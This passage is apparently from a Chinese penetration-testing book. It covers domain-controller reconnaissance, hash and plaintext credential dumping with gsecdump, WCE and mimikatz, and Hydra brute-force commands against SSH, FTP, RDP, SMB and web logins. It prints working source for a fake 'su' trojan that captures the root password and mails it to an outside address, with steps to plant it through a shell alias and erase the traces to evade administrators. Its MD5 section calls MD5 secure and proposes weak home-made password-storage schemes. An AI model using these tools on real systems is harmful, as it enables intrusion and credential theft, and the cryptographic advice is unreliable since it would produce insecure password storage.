2.11 Windows Server 2003域控服务器用户账号和密码的获取

域控制器相当于一个门卫,它包含了由这个域的账户密码、管理策略等信息构成的数据库。当一台计算机登录域时,域控制器首先要鉴别这台计算机是否属于这个域,以及用户使用的登录账号和密码是否正确。如果正确,则允许计算机登入这个域,使用该域内其有权限访问的任何资源,如文件服务器、打印服务器等,也就是说,域控制器仅有验证作用,访问其他资源时并不需要再与域控制器扯上关系;如果不正确,则不允许计算机登入,这时计算机将无法访问域内的任何资源,也就在一定程度上保护了企业的网络资源。域服务器的作用如下。

• 安全集中管理:统一安全策略。
• 软件集中管理:按照公司要求限定所有机器只能运行必需的办公软件。
• 环境集中管理:利用AD可以统一客户端桌面、IE、TCP/IP等设置。
• 活动目录:是企业基础架构的根本,可作为公司整体统一管理的基础,其他Exchange、ISA、防病毒服务器、补丁分发服务器、文件服务器等服务均依赖域服务器。

域控服务器是网络安全渗透的重点对象,获取了域控服务器的权限,就掌控了整个网络的资源和权限,在渗透过程中获取域控服务器用户账号和密码是最基础和必须进行的一步。本节将就域控服务器渗透思路、内网域控服务器渗透常见命令及域控服务器用户账号和密码的获取进行探讨。

2.11.1 域控服务器渗透思路

域控服务器的渗透思路,仁者见仁,智者见智,笔者就实际工作经验总结如下。

• 寻找网络入口,获取域控用户权限,通过用户获取域控管理员信息。针对域控管理员开展个人主机渗透或者社会工程学攻击,获取域管理员个人主机权限,进而获取域控服务器权限。
• 获取域控服务器内某一台Web服务器或者其他服务器的权限。在获取网络上某一台服务器的权限后,通过获取该服务器的用户账号和密码,通过NTScan等工具对整个内网进行账号的暴力破解,以获取域控服务器权限。

总之,在内网渗透中需要对各种信息进行收集和研判,通过信息进行大胆的推断和渗透测试,不断扩大权限,最终获取域控服务器权限。

2.11.2 内网域控服务器渗透常见命令

内网域控服务器渗透常见命令如下。

1.本机信息收集

• 用户列表(Windows用户列表、邮件用户等):分析Windows用户列表,尤其不要忽略administrator用户;分析邮件用户,内网/域邮件用户,通常就是内网/域用户,如owa。
• 进程列表:分析杀毒软件/安全监控工具等,如邮件客户端、VPN。
• 服务列表:与安全防范工具有关的服务(判断是否可以手动开关等),存在问题的服务(权限/漏洞)。
• 端口列表:开放端口对应的常见服务/应用程序(匿名/权限/漏洞等),利用端口进行信息收集,建议读者深入挖掘NETBIOS、SMB等。
• 补丁列表:分析Windows补丁、第三方软件(Java/Oracle/Flash等)漏洞。
• 本机共享(域内共享很多时候是相同的):本机共享列表/访问权限,本机访问的域共享/访问权限。
• 本地用户习惯分析:历史记录、收藏夹、文档等,特别是远程终端、Putty、FTP及SSH等。有些用户喜欢在本地保存登录密码,通过客户端可以直接登入。

2.常见信息收集命令

• net user:查询本机用户列表。
• net localhroup administrators:查询本机管理员(通常包含域用户)。
• net group “domain admins”/domain:查询域管理员用户。
• net user/domain:查询域用户。
• net group/domain:查询域里面的工作组。
• net view/domain:查询域名称。
• net view/domain:XX:查询域内计算机。
• net time/domain:查询域控制器。
• net localgroup administrators/domain:查询域管理员用户组。
• net localgroup administrators workgroup\user001/add:将域用户添加到本机。
• net group "Domain controllers":查看域控制器(如果有多台)。
• ipconfig/all:查询本机IP地址段、所在域等。
• net view:查询同一域内的机器列表。
• dsquery server:查询所有域控制器,示例如下。


     dsquery server -domain super.com | dsget server -dnsname -site 

     //搜索域内所有域控制器并显示他们的DNS主机名和站点名称

• dsquery computer:查询域内计算机,示例如下。


     dsquery computer domainroot -name admin* -limit 10

     //搜索域内名称以“admin”开头的10台机器

• dsquery user:查询域用户,示例如下。


     dsquery user domainroot -name admin* -limit 10

     //搜索域内名称以“admin” 开头的10个用户)

• dsquery contact:查询域内联系人,示例如下。


     dsquery contact domainroot -name admin* -limit 10 

     //搜索域内名称以“admin”开头的10个联系人

• dsquery subnet:查询域内子网。
• dsquery group:查询域内用户组,示例如下。


     dsquery group dc=super,dc=com |more     //搜索在 DC=SUPER、DC=COM 域中的所有组

• dsquery ou:查询域内组织单位。
• dsquery site:查询域内站点,示例如下。


     dsquery site -o rdn    //搜索域中所有站点的名称

• net group “domain computers”/domain:查询域内所有计算机。 -limit参数不指定查询数量,则默认显示前100条结果。
• dsquery computer -inactive 4:查询超过4周未登录的计算机。
• dsquery user-inactive 4:查询超过4周未登录的用户。
• dsquery computer “ou=xx,dc=xx,dc=com”:通过组织单位查询计算机,示例如下。


     dsquery user domainroot -name admin* -limit 10

     //搜索域内名称以“admin”开头的前10个用户

• fsutil.exe fsinfo drives:列出本机所有驱动器。
• route print:显示当前路由表中的所有项目。
• route print 10. *:显示IP路由表中以“10”开头的路由条目。
• netsh dump>d:\netbak.txt:备份导出服务器网络配置。
• nslookup-qt=mx google.com:查看邮件服务器记录。
• nslookup-qt=ns google.com:查看子域名服务器记录。
• nslookup>>ls-d domain d:\xxx.txt:列出所有记录。

2.11.3 域控服务器用户账号和密码获取实例

本节给出一个域控服务器用户账号和密码获取实例。

01 获取IP配置信息

打开命令提示符窗口,输入“ipconfig/all”命令,查看该服务器的IP地址等信息,通过该信息探测是否存在域控服务器。如果存在,内部域控一定会在DNS服务器中存储内部IP地址,如10.168.10.1。

02 查看域控情况

通过“net view”命令查看显示当前域的计算机列表,在本例中发现,仅存在一台服务器。“net view”命令用于显示域列表、计算机列表或指定计算机的共享资源列表。“net view [\\Computer Name] [/domain[:DomainName] ]”命令用于指定要查看其可用计算机的域。如果省略DomainName参数,/domain参数将显示网络上的所有域。输入命令“net view/domain”,可以获取该网络中存在的两个域,分别是ITEDT47和WORKGROUP。

03 登录域控服务器

使用NTScan将已经获取的Web服务器管理员密码和用户密码对网段10.168.10.1-254进行扫描,获取了IP地址为10.168.10.3的域控服务器的用户名和密码,远程终端登录该服务器。

04 获取域控服务器用户密码

将PsExec、GSecDump等工具上传到域控服务器。执行“psexec \\127.0.0.1 cmd”命令,以获取system权限,然后到工具目录下执行“gsecdump-s>all.txt”命令,将用户密码Hash值全部导出到all.txt文件中,如图2-83所示,代码如下。

图2-83 获取域控服务器域密码



     usage: gsecdump [options]

     options:

       -a [ --dump_all ]         dump all secrets

       -s [ --dump_hashes ]      dump hashes from SAM/AD

       -l [ --dump_lsa ]         dump lsa secrets

       -u [ --dump_usedhashes ]  dump hashes from active logon sessions

       -w [ --dump_wireless ]    dump microsoft wireless connections

       -h [ --help ]             show help

       -S [ --system ]           run as localsystem

GSecDump 2.0b5的下载地址为http://www.truesec.com/Tools/Tool/gsecdump _v2.0b5。

05 查看并整理域用户密码

通过“记事本”等程序打开all.txt文件,将IUSR、IWAM及用户名末尾含有“$”符号的用户全部删除,如IUSR_FS02T47E(current)、IWAM_FS02T47E(current)、RM103-2$(current)等密码都是无用密码,如图2-84所示。

图2-84 查看和清理域控用户密码

06 破解域控用户密码

将整理好的文件导入Ophcrack中可以快速破解域控用户的密码,如图2-85所示。

图2-85 破解域控密码

技巧
(1)在有些情况下,由于管理员设置了超过14位的密码,所以即使通过GSecDump工具获取Hash值,也无法使用Ophcrace进行破解。这时,可以使用WCE进行破解。执行“wce-w”命令可直接获取登录用户的明文密码,如图2-86所示。
图2-86 获取登录用户的明文密码
(2)还可以通过mimikatz获取曾经登录系统的用户的明文密码,命令如下。


     mimikatz

     privilege::debug

     sekurlsa::logonpasswords

2.12 使用fakesu记录root用户的密码

在Linux渗透中,比较容易获取服务器上网站的WebShell。就目前的环境来说,Linux服务器提权比较困难。那么,如何在获取WebShell权限的情况下,通过WebShell反弹到指定了独立IP地址的服务器上,通过反弹的Shell安装程序捕获root用户的密码?本节就目前已知的记录root用户密码的方法进行探讨。

2.12.1 使用kpr-fakesu.c程序记录root用户的密码

kpr-fakesu.c程序可用于记录root用户的密码。

1.kpr-fakesu.c源程序

kpr-fakesu.c程序的新版本为0.9beta167,它是由koper开发的(koper@linuxmail.org),该程序代码如下。



     #include <stdio.h>

     #include <stdlib.h>

     main(int argc, char *argv[]){

     FILE *fp;

     char *user;

     char *pass;

     char filex[100];

     char clean[100];

     sprintf(filex,"/var/tmp/.mail");

     sprintf(clean,"rm  -rf  /var/tmp/.su;mv  -f  /home/webshell/.wgetrc

/home/webshell/.bash_profile");

     if(argc==1) user="root";

     if(argc==2) user=argv[1];

     if(argc>2){

     if(strcmp(argv[1], "-l")==0)

         user=argv[2];

     else user=argv[1];}

     fprintf(stdout,"Password: "); pass=getpass ("");

     system("sleep 3");

     fprintf(stdout,"su: Authentication failure\nSorry.\n");

     if ((fp=fopen(filex,"w")) != NULL)

        {

        fprintf(fp, "%s:%s\n", user, pass);

        fclose(fp);

        }

     system(clean);

     system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

     system("uname  -a  >>  /var/tmp/.mail;  cat  /var/tmp/.mail  |  mail

admin@antian365.com");

     }

2.运行前必须修改程序

运行该程序前,必须对程序进行修改,否则即使执行该程序也不会得到结果。在上面的程序代码中有3个地方需要修改,具体如下。

(1)修改密码记录的文件名称

在代码中修改sprintf(filex,"/var/tmp/.mail")函数。在该函数中默认生成的密码记录文件的后缀是“.mail”,可以将“.mail”修改为任意文件后缀(切记修改时一定要全部修改,以上代码中共有3处需要修改)。

(2)修改反弹Shell主目录

将“sprintf(clean,"rm-rf/var/tmp/.su; mv-f/home/webshell/.wgetrc/home/webshell/.bash_profile");”中的“/home/webshell”修改为实际用户的主目录名称(以上代码中有2处需要修改)。

(3)修改邮件发送地址

将“system("uname-a>>/var/tmp/.mail; cat/var/tmp/.mail| mail admin@antian365.com");”中的邮件地址修改为能够接收邮件的邮件地址。如果不需要接收邮件,可以将该行代码删除。

2.12.2 运行键盘记录程序

下面我们开始运行键盘记录程序。

01 将fakesu.c程序复制到用户目录下

如果具备SSH用户权限,可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器中,如图2-87所示。如果具备WebShell权限,也可以通过WebShell将fakesu.c程序上传到服务器中。如果是反弹的DOS命令提示符,则可以通过命令“wget http://www.somesite.com/fakesu.c”将其下载到服务器中。

图2-87 将代码上传到服务器

02 再次检查代码

使用“cat fakesu.c”命令查看源程序代码,确认2.12.1节提及的3个地方都已正确修改,如图2-88所示。

图2-88 执行前检查源代码

03 执行命令

执行如下命令。



     Chmod 777 fakesu.c

     gcc -o .su fakesu.c; rm -rf fakesu.c

     mv .su /var/tmp/.su

     cd ~

     cp .bash_profile  .wgetrc

     cp .bash_profile  .wgetrb

     echo "alias su=/var/tmp/.su">>.bash_profile

     Logout

• “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。

• “gcc-o.su fakesu.c; rm-rf fakesu.c”用于编译fakesu.c程序,生成.su文件,同时彻底删除fakesu.c程序。“rm-rf”用于在Linux中彻底删除文件及目录(不管目录中是否存在文件)。
• “cd~”用于转到当前Shell的主目录。
• “cp.bash_profile.wgetrb”用于将.bash_profile文件备份成.wgetrb文件。
• “echo "alias su=/var/tmp/.su">>.bash_profile”用于将用户登录的su命令指向“/var/tmp/.su”命令。
• “Logout”用于注销当前SSH Secure Shell登录命令。如果是反弹Shell,可以使用“exit”命令。执行命令后,如图2-89所示,编译fakesu.c程序时可能会出现警告信息“webadm.c:19:警告:赋值时将整数赋给指针,未作类型转换”,该警告信息不会影响程序的正常运行。

图2-89 执行命令

2.12.3 查看密码记录文件

根据fakesu.c程序中设置的密码记录文件可知,在本例中记录的文件为“/var/tmp/.pwds”。该文件默认为隐藏属性,可以直接通过命令“cat/var/tmp/.pwds”查看,如图2-90所示,记录的root用户的密码为“simeon”。

图2-90 获取root用户的密码

2.12.4 删除安装文件

当fakesu.c程序成功记录root用户的后,需要删除安装的程序文件,否则时间久了容易引起管理员的警觉。可以使用以下命令删除程序文件。



     rm -rf /var/tmp/.su

     cp  .wgetrb .bash_profile  

     rm -rf .wgetrc

     rm -rf /var/tmp/.pwds

2.13 暴力破解工具Hydra使用攻略

Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中,Hydra是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。

2.13.1 Hydra简介

Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和kali等渗透平台收录。除了命令行下的Hydra外,还提供了Hydra-GTK版本(有图形界面的Hydra),其官方网站是http://www.thc.org/thc-hydra。

Hydra的最新版本为Hydra 7.6,下载地址为http://www.thc.org/releases/hydra-7.6.tar.gz,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。

2.13.2 Hydra的安装与使用

Hydra可以在Debian和Ubuntu等环境下安装和使用。

1.在Debian和Ubuntu环境下安装Hydra

如果是Debian和Ubuntu发行版,会自带Hydra,可直接使用apt-get在线安装,命令如下。



     sudo  apt-get  install  libssl-dev  libssh-dev  libidn11-dev  libpcre3-dev

libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev

hydra

如果要使用Redhat/Fedora发行版的源码包编译安装,需要先安装相关依赖包,命令如下。



     yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel

subversion-devel

2.安装CentOS

CentOS的安装命令如下。



     # tar zxvf hydra-7.6-src.tar.gz

     # cd hydra-6.0-src

     # ./configure

     # make

     # make install

3.使用Hydra

BT5和kali都默认安装了Hydra。在kali中,依次单击“kali Linux”→“Password Attacks”→“Online Attacks”→“hydra”选项即可打开Hydra。在CentOS终端中,输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外,还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解,如图2-91所示。

图2-91 使用hydra-wizard.sh进行密码破解

4.安装libssh

如果不安装libssh,运行Hydra破解账号时会出现错误。如图2-92所示,显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”,在CentOS下运行如下命令即可解决此问题。

图2-92 libssh模块缺少错误



     yum install cmake

     wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz

tar zxf libssh-0.4.8.tar.gz

     cd libssh-0.4.8

     mkdir build

     cd build

     cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

make

make install

     cd /test/ssh/hydra-7.6    //此为下载 Hydar 并解压的目录

     make clean

     ./configure

     make

     make install

5.Hydra参数详细说明

Hydra命令示例如下。



     hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE]

[-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET]

[-SuvV46] [service://server[:PORT][/OPT]]

• -l LOGIN:指定破解的用户名称,对特定用户破解。
• -L FILE:从文件中加载用户名进行破解。
• -p PASS:小写字母“p”,指定密码破解,少用,一般采用密码字典。
• -P FILE:大写字母“P”,指定密码字典。
• -e ns:可选选项,“n”表示空密码试探,“s”表示使用指定用户和密码试探。
• -C FILE:使用冒号分割格式,如“登录名:密码”代替“-L”和“-P”参数。
• -t TASKS:同时运行的连接的线程数,每一台主机默认为16。
• -M FILE:指定服务器目标列表文件为每行一条。
• -w TIME:设置最大超时时间,单位为秒,默认为30秒。
• -o FILE:指定结果输出文件。
• -f:在使用“-M”参数以后,在找到第一对登录名或者密码时中止破解。
• -v/-V:显示详细过程。
• -R:继续上一次破解。

• -S:采用SSL链接。
• -s PORT:可通过这个参数指定非默认端口。
• -U:服务模块使用细节。
• -h:更多的命令行选项(完整的帮助文档)。
• server:目标服务器名称或者IP(使用此选项或“-M”选项)。
• service:指定服务名,支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。
• OPT:一些服务模块支持额外的输入(“-U”选项用于获取模块的帮助信息)。

2.13.3 Hydra用法实例

本节给出Hydra的用法实例。

1.破解SSH账号

破解SSH账号有两种方式,一种是指定账号破解,另一种是指定用户列表破解,命令如下。



     hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh

例如,输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns 192.168.44.139 ssh”,对IP地址为192.168.44.139的root账号密码进行破解,如图2-93所示,破解成功后显示其详细信息。

图2-93 破解SSH账号

输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns-o save.log 192.168.44.139 ssh”,将扫描结果保存在save.log文件中,使用“cat save.log”命令查看扫描结果,如图2-94所示。

图2-94 查看破解日志

2.破解FTP账号

(1)破解指定用户名密码



     hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV

     hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

(2)批量破解FTP账号和密码



     hydra -L list_user -P list_password 192.168.56.101 ftp -V

3.GET方式提交,破解Web登录



     hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

     hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交,破解Web登录

(1)hydra-l用户名-P密码字典-s 80 ip http-post-form "/admin/login.php:username= ^USER^&password=^PASS^&submit=login:sorry password"



     hydra  -L  list_user  -P  list_password  192.168.0.115  http-post-form

"member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&in

ajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&

handlekey=ls:Login failed" -V

以上示例表示对192.168.0.115进行破解,需要定义登录的URL,以及设置登录验证和错误登录标记。



     member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes

&inajax=1

     fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&han

dlekey=ls

     Login failed

(2)对admin密码进行破解



     hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form

"login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

“-t”表示同时线程数为3;“-l”表示用户名是“admin”,字典为pass.txt,保存为out.txt ;“-f”表示破解一个密码就停止;“192.168.0.115”表示目标IP地址;“http-post-form”表示采用HTTP的POST方式提交表单密码破解;“<title>”中的内容是错误猜解的返回信息提示。

5.破解HTTPS



     hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak



     hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解Cisco



     hydra -P pass.txt 192.168.0.115 cisco

     hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB



     hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3



     hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解远程终端账号

(1)破解管理员账号



     hydra ip rdp -l administrator -P pass.txt -V

(2)批量破解账号



     hydra -s 3389 192.168.44.138 rdp -L user.txt  -P pwd.txt –V

破解效果如图2-95所示。

图2-95 破解3389账号

11.破解HTTP-Proxy



     hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP



     hydra -L user.txt -p secret 192.168.0.115 imap PLAIN

     hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

参考文章

• http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/
• http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra

2.14 基于MD5算法的改进强加密方法

MD5加密算法是目前网络上用得最为广泛的一种加密算法,很多信息系统及绝大多数网站都采用MD5加密。通过MD5可以加密一些系统登录时的口令及其他信息,而入侵者通过各种方法只要获得用户名及对应的MD5值,就可以通过暴力破解等方式获取其系统的普通用户甚至管理员的权限。本节将讨论MD5加密算法在应用方面遇到的一些问题,并且针对这种问题在基于MD5算法的基础上改进加密方法,从而MD5加密口令的使用更加安全。

2.14.1 MD5简介

MD5的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式。由于MD5算法的使用不需要支付任何版权费用,所以在一般情况下,MD5也不失为一种非常优秀的加密算法,被大量公司和个人广泛使用。在2004年8月17日美国加州圣巴巴拉举行的国际密码学会议(Crypto’2004)上,来自中国山东大学的王小云教授做了破译MD5、HAVAL-128、MD4和RIPEMD算法的报告,公布了MD系列算法的破解结果,MD5破解工程权威网站(http://www. md5crk.com)也因此关闭,从此宣布MD5加密算法不再是一种安全的加密算法。虽然王小云教授公布了破解MD5算法的报告,宣告该算法不再安全,但是对于企业及普通用户来说,从算法上破解MD5非常困难,因此,MD5仍然算是一种安全的算法。

MD5是一个安全的散列算法,输入两个不同的明文不会得到相同的输出值,根据输出值不能得到原始的明文,即其过程不可逆。所以,破解MD5没有现成的算法,只能使用穷举法,把可能出现的明文用MD5算法散列之后,将得到的散列值和原始的数据形成一个一对一的映射表,通过在表中对比破解密码的MD5算法散列值,匹配从映射表中找出破解密码所对应的原始明文。

对信息系统或者网站系统来说,MD5算法主要用在用户注册口令的加密上,对于普通强度的口令加密,可以通过以下3种方式进行破解。

• 在线查询密码:一些在线的MD5值查询网站提供MD5密码值的查询,输入MD5密码值后,如果该密码值在数据库中存在,那么可以很快获取其密码值。
• 使用MD5破解工具:网上有许多针对MD5破解的专用软件,通过设置字典进行破解。
• 通过社会工程学获取或者重新设置用户的口令。

因此,简单的MD5加密是没有办法达到绝对安全的。普通的MD5加密有多种暴力破解方式,如果想要保证信息系统或者网站的安全,需要对MD5进行改造,增强其安全性。本节就是在MD5加密算法的基础上进行改进的。

2.14.2 MD5算法应用

下面对MD5算法的基础知识进行介绍。

1.MD5加密原理

MD5以512位分组处理输入的信息,每个分组又被划分为16个32位子分组。经过一系列处理,算法的输出由4个32位分组组成,将这4个32位分组级联后将生成一个128位散列值。

在MD5算法中,首先需要对信息进行填充,使其字节长度对512求余数的结果等于448。因此,信息的字节长度(Bits Length)将被扩展至N ×512+448,即N ×64+56字节,N 为正整数。

首先,在信息的后面填充1个1和无数个0,直到满足上面的条件时才停止对信息进行填充。然后,在这个结果后面附加一个以64位二进制表示的填充前的信息长度。经过这样的处理,现在的信息字节长度为N ×512+448+64=(N +1)×512,即长度恰好是512的整数倍数。这样做是为了满足后面处理中对信息长度的要求。MD5中有4个称作链接变量(Chaining Variable)的32位整数参数,分别是:A=0x01234567;B=0x89abcdef;C=0xfedcba98;D=0x76543210。设置好这4个链接变量后,就进入算法的四轮循环运算,循环的次数是信息中512位信息分组的数目。

将上面的4个链接变量复制到另外4个变量中:A到a;B到b;C到c;D到d。主循环有4轮(MD4只有3轮),每轮循环都很相似。第一轮进行16次操作,每次操作对a、b、c、d这4个变量中的3个进行一次非线性函数运算,然后将所得结果加上第4个变量(文节中的一个子分组和一个常数),再将所得结果向右环移一个不定的数,并加上a、b、c、d中的一个。最后,用该结果取代a、b、c、d中的一个。

以下是每次操作中用到的4个非线性函数(每轮一个)。

F(X,Y,Z)=(X∧Y)∨((X)∧Z)

G(X,Y,Z)=(X∧Z)∨(Y∧(Z))

H(X,Y,Z)=X⊕Y⊕Z

I(X,Y,Z)=Y⊕(X∨(Z))

其中,“⊕”是异或,“∧”是与,“∨”是或,“ ”(空格)是反符号。

如果X、Y和Z的对应位是独立的和均匀的,那么结果中的每一位也应是独立和均匀的。F是一个逐位运算的函数。即,如果X,那么Y,否则Z。函数H是逐位奇偶操作符。完成这些运算之后,将A、B、C、D分别加上a、b、c、d,然后用下一分组数据继续运行算法,输出是A、B、C、D的级联。最后得到的A、B、C、D就是输出结果,A是低位,D为高位,DCBA组成128位输出结果。

2.MD5的安全性

从安全的角度讲,MD5的输出为128位。若采用纯强力攻击寻找一个消息具有给定Hash值的计算困难性为2128,用每秒可试验1000000000个消息的计算机需时1.07×1022年。若采用生日攻击法,寻找有相同Hash值的两个消息需要试验264个消息,用每秒可试验1000000000个消息的计算机需时585年。

3.MD5加密算法的应用

MD5加密算法由于具有较好的安全性,加之商业也可以免费使用该算法,因此被广泛使用。MD5算法主要用在数字签名、文件完整性验证及口令加密等方面。

2.14.3 改进后的加密方法

经过改进,MD5加密算法的破解难度大大提升。

1.目前MD5加密方法利用的缺陷

在目前的信息系统中,对MD5加密方法的利用主要通过在脚本页面中引用包含MD5加密函数代码的文件,以ASP脚本为例,在需要调用的页面中加入“<!--#include file="includes/md5.asp"-->”语句,md5.asp为MD5加密函数代码文件,然后直接调用函数MD5(sMessage)即可。经过MD5加密的值有16位和32位之分,如果在MD5加密函数中使用的是“MD5=LCase(WordToHex(a)& WordToHex(b)& WordToHex(c)& WordToHex(d))”,则表示是32位,如果使用的是“MD5=LCase(WordToHex(b)& WordToHex(c))”,则表示是16位。

例如,对明文为“123456”的值进行加密,其MD5值有两个,如下所示。

A=“123456”

password=md5(A)=49ba59abbe56e057

password=md5(A)=e10adc3949ba59abbe56e057f20f883e

如果将加密的MD5值直接保存在数据库中,当网站中存在注入或者其他漏洞时,入侵者极有可能获取用户的密码值,通过MD5在线查询或者暴力破解可以得到密码。

2.填充随机数MD5加密

填充随机数MD5加密是在使用MD5加密算法对明文(口令)加密的基础上,对密文进行了改变,在密文中截取一段数据并丢弃,然后使用随机函数填充被丢弃的数据,且整个过程不改变MD5加密后的位数。其加密过程用算法如下。

01 对明文password进行MD5加密,获得密文MD5(password)。

02 使用截取函数截取加密后的密文,从beginnumber位置开始截取number位数的值,得到密码A,其中A=left(md5(password), beginnumber-1)。

03 使用截取函数截取加密后的明文的number位数后的值B,B=right(md5(password), md5-digit-(beginnumber+number-1))。

04 使用随机函数gen_key(number)填充被截取的number的值。

05 变换后的密码值为“encrypt_password=A&get_key(number)&B”。

对各变量说明如下。

• password:客户端提交的原始密码。
• encrypt_password:经过处理的密码。
• beginnumber:对原始密码开始截取的位置(0<beginnumber<16或0<beginnumber<32)。
• number:密码截取位数(0<beginnumber<16或0<beginnumber<32)。
• md5-digit:MD5取16位或者32位值。

解密过程与加密过程类似,先对输入的明文进行加密,接着从beginnumber处截取前半部分得到A′,截取后半部分得到B′,然后从数据库中读出密码中的A和B两部分。最后,如果A=A′且B=B′,则认为用户输入的密码与数据库中的密码是匹配的。

3.原始值插入自定义值MD5加密

原始值插入指定值是在使用MD5加密算法对明文(口令)加密之前,对原始密码进行了增强,位数增加了1倍,然后使用MD5进行加密,密码位数的增加使MD5暴力破解的时间成本增大,从而大大降低被破解的几率。其加密过程用算法描述如下。

01 get(password, len(password), mima):在mima字符串中取与password的位数相等的字符串。

02 jiami(password, mima):对明文password进行变换,对password中的每一个字符串依次插入从mima字符串中截取的相同位数的字符串,获得加密明文new_password。

03 md5(new_password):使用MD5加密算法对经过增加的明文密码进行加密。

自定义一个40位的由大小写字母、特殊字符和数字组成的字符串mima,获取原始密码的位数,然后于mima进行比较和插入,对明文password进行增强,获得明文new_md5(password)。例如,“mima=Q!A@Z# $%^& *()_ +123456789WSXEDCRFVTGBYHNUJMIK,OL.P;/['] \”表示原始密码为123456,通过本方法最后加密的明文密码为“1Q2!3A4@5Z6#”。整个原始密码通过位数变换,使加密的位数翻倍,虽然最终的密码值还是MD5,但由于无法获取自定义的加密插入字符串“nima”,使得暴力破解MD5密码值的几率大大降低。

2.14.4 关键代码与实现

1.填充随机数MD5加密实现代码

填充随机数MD5加密实现代码,示例如下。



     <!--#include file="md5.asp"-->

     <%

     Function GetRandomizeCode(digit)

      Randomize

      Dim m_strRandArray,m_intRandlen,m_strRandomize,i

      m_strRandArray  =

Array(0,1,2,3,4,5,6,7,8,9,"A","B","C","D","E","F","G","H","I","J","K","L","M","N

","O","P","Q","R","S","T","U","V","W","X","Y","Z")

      m_intRandlen = digit     //定义随机码的长度

      for i = 1 to m_intRandlen

       m_strRandomize = m_strRandomize & m_strRandArray(Int((21*Rnd)))

      next

      GetRandomizeCode = lcase(m_strRandomize)

     End Function  

     Function encrypt_password(beginnumber,number,password,md5_digit)

      A=left(md5(password),beginnumber-1)

      B=Right(md5(password),md5_digit-(beginnumber+number-1))

      C=GetRandomizeCode(number)

      D=A&C&B

      encrypt_password=d

     End Function

      %>

实现效果如图2-96所示,需要加密时直接调用encrypt_password函数即可。可以看到,第3位至第9位为随机填充数,随机填充数为“462hjk”。

图2-96 实现效果

2.原始值插入自定义值MD5加密关键代码

用户输入最简单的密码“12345678”,经本算法生成的加密密码为“1Q2!3A4@5Z6#7$8%”,位数由原来的8位增加到16位,示例如下,效果如图2-97所示。

图2-97 通过插入值生成的原始加密值



     function new_md5(str)

     mima="Q!A@Z#$%^&*()_+123456789WSXEDCRFVTGBYHNUJMIK,OL.P;/[']\"

     for i=1 to len(str)

     newstr=newstr&Mid(str,i,1)

     if i>len(mima) then

     newstr=newstr&Mid(mima,i-len(mima),1)

     else

     newstr=newstr&Mid(mima,i,1)

     end if

     next

     new_md5=newstr

     end function

     str2="12345678"

     response.write str2&"<br>"

     response.write new_md5(str2) &"<br>"

本算法通过插入指定字符串,使最终加密原始密码位数翻倍,然后再次调用MD5加密方法,大大降低了暴力破解的可能性。

2.14.5 讨论与小结

